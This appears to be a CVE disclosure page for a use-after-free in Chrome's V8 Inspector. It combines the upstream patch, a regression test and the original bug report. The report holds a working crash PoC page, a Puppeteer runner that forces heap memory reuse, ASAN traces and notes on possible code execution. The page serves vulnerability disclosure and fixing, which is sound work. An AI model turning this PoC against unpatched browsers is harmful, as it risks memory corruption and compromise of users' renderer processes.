CVE-2026-5861
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/inspector/v8-debugger-agent-impl.cc |
modified |
Files Changed
src/inspector/custom-preview.ccsrc/inspector/injected-script.ccsrc/inspector/v8-console-message.ccsrc/inspector/v8-console.ccsrc/inspector/v8-debugger-agent-impl.ccsrc/inspector/v8-debugger.ccsrc/inspector/v8-heap-profiler-agent-impl.ccsrc/inspector/v8-inspector-impl.cc
Patch
From ba0258ba96097bc799c61b145164ec343b56d37b Mon Sep 17 00:00:00 2001
From: Simon Zünd <szuend@chromium.org>
Date: Fri, 27 Feb 2026 05:20:14 +0000
Subject: [PATCH] [inspector] Use std::shared_ptr for InspectedContext
Unfortunately at this point we are not able to move `InspectedContext`
to the managed C++ heap due to missing Heap* collections and the lack
of labeling retainer links.
The next best thing we can do for now is use std::shared_ptr for
InspectedContext and keep an instance on the stack every time we can
potentially transition into user JS.
R=bmeurer@chromium.org
Fixed: 486927780
Change-Id: I5e4921521a24cc3cd53ffb6cb5b6b6f9d98490e2
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7613210
Auto-Submit: Simon Zünd <szuend@chromium.org>
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Simon Zünd <szuend@chromium.org>
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105489}
---
diff --git a/src/inspector/custom-preview.cc b/src/inspector/custom-preview.cc
index 7ab5f00..7877348 100644
--- a/src/inspector/custom-preview.cc
+++ b/src/inspector/custom-preview.cc
@@ -59,7 +59,7 @@
v8::Isolate* isolate = v8::Isolate::GetCurrent();
V8InspectorImpl* inspector =
static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
inspector->getContext(InspectedContext::contextId(context));
if (!inspectedContext) return nullptr;
return inspectedContext->getInjectedScript(sessionId);
diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index 1260f19..9206038 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -1164,7 +1164,7 @@
v8::Isolate* isolate = v8::Isolate::GetCurrent();
V8InspectorImpl* inspector =
static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
inspector->getContext(InspectedContext::contextId(context));
InjectedScript* injectedScript =
inspectedContext ? inspectedContext->getInjectedScript(sessionId)
diff --git a/src/inspector/v8-console-message.cc b/src/inspector/v8-console-message.cc
index 128bc6c..567c92a 100644
--- a/src/inspector/v8-console-message.cc
+++ b/src/inspector/v8-console-message.cc
@@ -258,7 +258,7 @@
int contextGroupId = session->contextGroupId();
int contextId = m_contextId;
if (m_arguments.empty() || !contextId) return nullptr;
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
inspector->getContext(contextGroupId, contextId);
if (!inspectedContext) return nullptr;
@@ -423,7 +423,7 @@
bool generatePreview) const {
if (m_arguments.empty() || !m_contextId) return nullptr;
DCHECK_EQ(1u, m_arguments.size());
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
session->inspector()->getContext(session->contextGroupId(), m_contextId);
if (!inspectedContext) return nullptr;
diff --git a/src/inspector/v8-console.cc b/src/inspector/v8-console.cc
index 3657822..2e46a26 100644
--- a/src/inspector/v8-console.cc
+++ b/src/inspector/v8-console.cc
@@ -59,7 +59,8 @@
int groupId() const { return m_inspector->contextGroupId(contextId()); }
InjectedScript* injectedScript(int sessionId) {
- InspectedContext* context = m_inspector->getContext(groupId(), contextId());
+ std::shared_ptr<InspectedContext> context =
+ m_inspector->getContext(groupId(), contextId());
if (!context) return nullptr;
return context->getInjectedScript(sessionId);
}
diff --git a/src/inspector/v8-debugger-agent-impl.cc b/src/inspector/v8-debugger-agent-impl.cc
index 756560c..2e78b58 100644
--- a/src/inspector/v8-debugger-agent-impl.cc
+++ b/src/inspector/v8-debugger-agent-impl.cc
@@ -898,7 +898,8 @@
{
v8::HandleScope handleScope(m_isolate);
int contextId = it->second->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected) {
return Response::ServerError("Cannot retrive script context");
}
@@ -943,7 +944,8 @@
}
V8DebuggerScript* script = it->second.get();
int contextId = script->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected)
return Response::ServerError("Cannot continue to specified location");
v8::HandleScope handleScope(m_isolate);
@@ -1002,7 +1004,8 @@
}
if (!m_blackboxedExecutionContexts.empty()) {
int contextId = it->second->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (inspected && m_blackboxedExecutionContexts.count(
inspected->uniqueId().toString()) > 0) {
return true;
@@ -1074,7 +1077,8 @@
v8::debug::BreakpointId debuggerBreakpointId;
v8::debug::Location location(lineNumber, columnNumber);
int contextId = script->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected) return nullptr;
{
@@ -1164,7 +1168,8 @@
return Response::ServerError("No script with given id found");
}
int contextId = it->second->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected) {
return Response::InternalError();
}
@@ -1962,7 +1967,7 @@
int contextId = script->executionContextId();
int contextGroupId = m_inspector->contextGroupId(contextId);
- InspectedContext* inspected =
+ std::shared_ptr<InspectedContext> inspected =
m_inspector->getContext(contextGroupId, contextId);
std::unique_ptr<protocol::DictionaryValue> executionContextAuxData;
if (inspected) {
diff --git a/src/inspector/v8-debugger.cc b/src/inspector/v8-debugger.cc
index 69fb293..a514972 100644
--- a/src/inspector/v8-debugger.cc
+++ b/src/inspector/v8-debugger.cc
@@ -1452,7 +1452,8 @@
v8::Local<v8::Object> object,
V8InternalValueType type) {
int contextId = InspectedContext::contextId(context);
- InspectedContext* inspectedContext = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspectedContext =
+ m_inspector->getContext(contextId);
return inspectedContext ? inspectedContext->addInternalObject(object, type)
: false;
}
diff --git a/src/inspector/v8-heap-profiler-agent-impl.cc b/src/inspector/v8-heap-profiler-agent-impl.cc
index b8563c7..33e8954 100644
--- a/src/inspector/v8-heap-profiler-agent-impl.cc
+++ b/src/inspector/v8-heap-profiler-agent-impl.cc
@@ -57,8 +57,9 @@
: m_offset(0), m_strings(10000), m_session(session) {}
const char* GetName(v8::Local<v8::Context> context) override {
- InspectedContext* inspected_context = m_session->inspector()->getContext(
- m_session->contextGroupId(), InspectedContext::contextId(context));
+ std::shared_ptr<InspectedContext> inspected_context =
+ m_session->inspector()->getContext(
+ m_session->contextGroupId(), InspectedContext::contextId(context));
if (!inspected_context) return nullptr;
String16 name = inspected_context->origin();
size_t length = name.length();
diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc
index 9dae9ef..b570974 100644
--- a/src/inspector/v8-inspector-impl.cc
+++ b/src/inspector/v8-inspector-impl.cc
@@ -237,8 +237,8 @@
}
}
-InspectedContext* V8InspectorImpl::getContext(int groupId,
- int contextId) const {
+std::shared_ptr<InspectedContext> V8InspectorImpl::getContext(
+ int groupId, int contextId) const {
if (!groupId || !contextId) return nullptr;
auto contextGroupIt = m_contexts.find(groupId);
@@ -247,20 +247,21 @@
auto contextIt = contextGroupIt->second->find(contextId);
if (contextIt == contextGroupIt->second->end()) return nullptr;
- return contextIt->second.get();
Regression Test / PoC
diff --git a/test/inspector/regress/regress-crbug-486927780-expected.txt b/test/inspector/regress/regress-crbug-486927780-expected.txt
new file mode 100644
index 0000000..e1a234a
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780-expected.txt
@@ -0,0 +1 @@
+Tests that destroying context from inside of console.log does not crash
diff --git a/test/inspector/regress/regress-crbug-486927780.js b/test/inspector/regress/regress-crbug-486927780.js
new file mode 100644
index 0000000..a156dc2
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+const {session, contextGroup, Protocol} = InspectorTest.start(
+ 'Tests that destroying context from inside of console.log does not crash');
+
+const expression = `
+ Error.prepareStackTrace = function(error, trace) {
+ inspector.fireContextDestroyed();
+ return '<mock formatted stack trace>';
+ };
+ console.log(new Error('trigger'));
+`;
+
+(async () => {
+ Protocol.Runtime.enable();
+ contextGroup.createContext('mock-iframe');
+ const {params: {context: {uniqueId}}} =
+ await Protocol.Runtime.onceExecutionContextCreated();
+
+ await Protocol.Runtime.evaluate({expression, uniqueContextId: uniqueId});
+
+ InspectorTest.completeTest();
+})();
Original Bug Report
Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
Report description
Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
Summary
A use-after-free vulnerability in Chrome’s V8 Inspector allows a malicious webpage to trigger memory corruption in the renderer process. The bug occurs when an iframe is removed during the Error.prepareStackTrace callback, which runs synchronously during console.log() processing, causing a dangling pointer to a freed InjectedScript object.
Vulnerability Details
Bug Type
Use-After-Free (UAF) in V8 Inspector
Affected Component
- File:
v8/src/inspector/injected-script.cc - Function:
v8_inspector::InjectedScript::wrapObjectMirror() - Line: 628
Affected Object
- Class:
v8_inspector::InjectedScript - Size: 232 bytes
- Accessed Offset: 224 bytes (
m_customPreviewEnabledmember)
MiraclePtr Protection Status
NOT PROTECTED - The pointer is a raw C++ pointer, not wrapped in raw_ptr<T>.
The dangling pointer exists in the call chain:
V8ConsoleMessage::wrapArguments()callssession->wrapObject()(v8-console-message.cc:300)V8InspectorSessionImpl::wrapObject()callsfindInjectedScript()which returns a rawInjectedScript*- This raw pointer is used after JavaScript execution that can free the pointed-to object
Root Cause Analysis
The Vulnerability Flow
-
Setup: A malicious page creates an iframe with a script that hooks
Error.prepareStackTrace -
Trigger: The iframe calls
console.log(new Error('trigger')) -
V8ConsoleMessage Creation: Chrome creates a
V8ConsoleMessageobject containing the console arguments -
Stack Trace Formatting: When formatting the Error object for DevTools, V8 calls the custom
Error.prepareStackTracecallback -
Critical Action: Inside the callback, JavaScript removes the iframe (
window.frameElement.remove()) -
Context Destruction: Removing the iframe triggers:
LocalWindowProxy::DisposeContext()MainThreadDebugger::ContextWillBeDestroyed()V8InspectorImpl::discardInspectedContext()InspectedContextdestructor runsInjectedScriptis freed (via unique_ptr inm_injectedScriptsmap)
-
Dangling Pointer Use: Control returns to
wrapArguments()which still holds the rawInjectedScript*pointer and callswrapObjectMirror()on freed memory
Source Code Flow
console.log(new Error())
↓
V8Console::Log()
↓
ConsoleHelper::reportCall()
↓
V8ConsoleMessage::wrapArguments()
↓
session->wrapObject()
↓
findInjectedScript() → returns InjectedScript*
↓
[Error.prepareStackTrace callback runs HERE]
[JavaScript removes iframe]
[InjectedScript FREED]
↓
injectedScript->wrapObject() → UAF!
↓
wrapObjectMirror() reads m_customPreviewEnabled at offset 224
Impact
Security Impact
- Memory Corruption: Read from freed 232-byte heap region
- Renderer Process: The crash occurs in the renderer process
- Potential for Exploitation:
- The freed memory can be reclaimed by same-bucket allocations
- With ASAN quarantine disabled (
quarantine_size_mb=0), different Chrome objects naturally take the freed slot - If
m_customPreviewEnabled(offset 224) reads as non-zero, additional virtual method calls occur on the fake object - With controlled memory reclamation, this could lead to code execution
Memory Reuse Evidence
With ASAN quarantine disabled, we observe heap-buffer-overflow instead of heap-use-after-free, proving memory reuse:
0x113bf94dfc20 is located 344 bytes after 200-byte region
allocated by thread T8 here:
ipcz::Router::Deserialize (200 bytes)
The freed InjectedScript slot is being reused by other allocations. The ipcz::Router (200 bytes, IPC system) lands nearby. The size mismatch causes an out-of-bounds read, but this demonstrates the allocator IS reusing the freed memory.
Exploitation Challenges
- The UAF read happens synchronously in the same call stack as the free
- No JavaScript execution window exists between free and use
- The InjectedScript (232 bytes) bucket may not align with JS-controllable objects
- A separate thread/process would be needed to race the allocation
Attack Prerequisites
- DevTools must be connected (via CDP or
--auto-open-devtools-for-tabs) - Runtime.enable protocol message must be active (automatic when Console is used)
Trigger Variants
The vulnerability can be triggered via multiple iframe techniques:
- srcdoc iframe - Inline HTML in srcdoc attribute (same-origin) ✅ CRASHES
- javascript: URL iframe - Script in iframe src ✅ CRASHES
- blob: URL iframe - Blob URL with HTML content ❌ Cross-origin blocked
- data: URL iframe - Data URL with HTML content ❌ Cross-origin blocked
The key requirement is same-origin access to parent.document so the iframe can remove itself.
Tested Configuration
- Chrome Version: 146.0.7680.0 (ASAN Build)
- Platform: Windows x64
- Build: Official Chromium ASAN build from chromium-browser-asan storage bucket
Proof of Concept
PoC (poc.html)
<!DOCTYPE html>
<html>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.srcdoc = `<html><body><script>
Error.prepareStackTrace = function(error, trace) {
window.frameElement.remove(); // Free InjectedScript
return '';
};
console.log(new Error('trigger')); // UAF triggered on return
<\/script></body></html>`;
document.body.appendChild(iframe);
</script>
</body>
</html>
Running with Puppeteer (pptr.js)
const puppeteer = require('puppeteer');
const path = require('path');
(async () => {
const browser = await puppeteer.launch({
executablePath: 'path/to/chrome-asan/chrome.exe',
args: ['--no-sandbox'],
headless: false,
env: {
...process.env,
ASAN_OPTIONS: 'quarantine_size_mb=0' // Force memory reuse
}
});
const page = await browser.newPage();
await page.goto(`file://${path.resolve(__dirname, 'poc.html')}`);
await new Promise(r => setTimeout(r, 3000));
process.exit(1);
})();
ASAN Crash Report
With Quarantine (heap-use-after-free detected)
==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20
READ of size 1 at 0x122206472b20 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
#1 v8_inspector::InjectedScript::wrapObject() injected-script.cc:619
#2 v8_inspector::V8InspectorSessionImpl::wrapObject() v8-inspector-session-impl.cc:317
#3 v8_inspector::V8ConsoleMessage::wrapArguments() v8-console-message.cc:300
...
0x122206472b20 is located 224 bytes inside of 232-byte region
freed by thread T0 here:
#0 operator delete
#1 std::__Cr::default_delete<v8_inspector::InjectedScript>::operator()
#2 v8_inspector::InspectedContext::~InspectedContext()
#3 v8_inspector::V8InspectorImpl::discardInspectedContext()
#4 blink::MainThreadDebugger::ContextWillBeDestroyed()
...
With Quarantine Disabled (heap-buffer-overflow = memory reused)
==106596==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x126f6f4e50e0
READ of size 1 at 0x126f6f4e50e0 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
...
0x126f6f4e50e0 is located 328 bytes after 216-byte region
allocated by thread T0 here:
#0 operator new
#1 v8_inspector::V8InspectorSessionImpl::create() v8-inspector-session-impl.cc:98
...
This shows that when ASAN quarantine is disabled, a 216-byte V8InspectorSessionImpl object took the freed slot, and the code read past it (328 bytes after = 216 + 112, while original access was at offset 224).
Suggested Fix
The fix should ensure the InjectedScript pointer remains valid throughout the wrapArguments() operation. Options:
-
Use safe pointers: Convert the raw
InjectedScript*toraw_ptr<InjectedScript>or similar smart pointer -
Re-validate before use: After any JavaScript callback (like
prepareStackTrace), re-lookup the InjectedScript from the context -
Prevent context destruction during callback: Block iframe removal during console message processing
Example fix in v8-console-message.cc:
// Before: raw pointer used after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs here that could free injectedScript ...
injectedScript->wrapObject(...); // UAF!
// After: Re-fetch or validate after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs ...
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch
if (!injectedScript) return; // Context was destroyed
injectedScript->wrapObject(...); // Safe
Files Attached
poc.html- Clean PoC filepptr.js- Puppeteer automation scriptcrash.txt- ASAN crash log (with quarantine)crash_quarantine0.txt- ASAN crash log (quarantine disabled, shows memory reuse)
Timeline
- Tested Version: Chromium 146.0.7680.0
Impact analysis
.
The cause
What version of Chrome have you found the security issue in?
I’ve been able to reproduce the crash on versions 72-93, 109-146.
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)
How would you like to be publicly acknowledged for your report?
5shain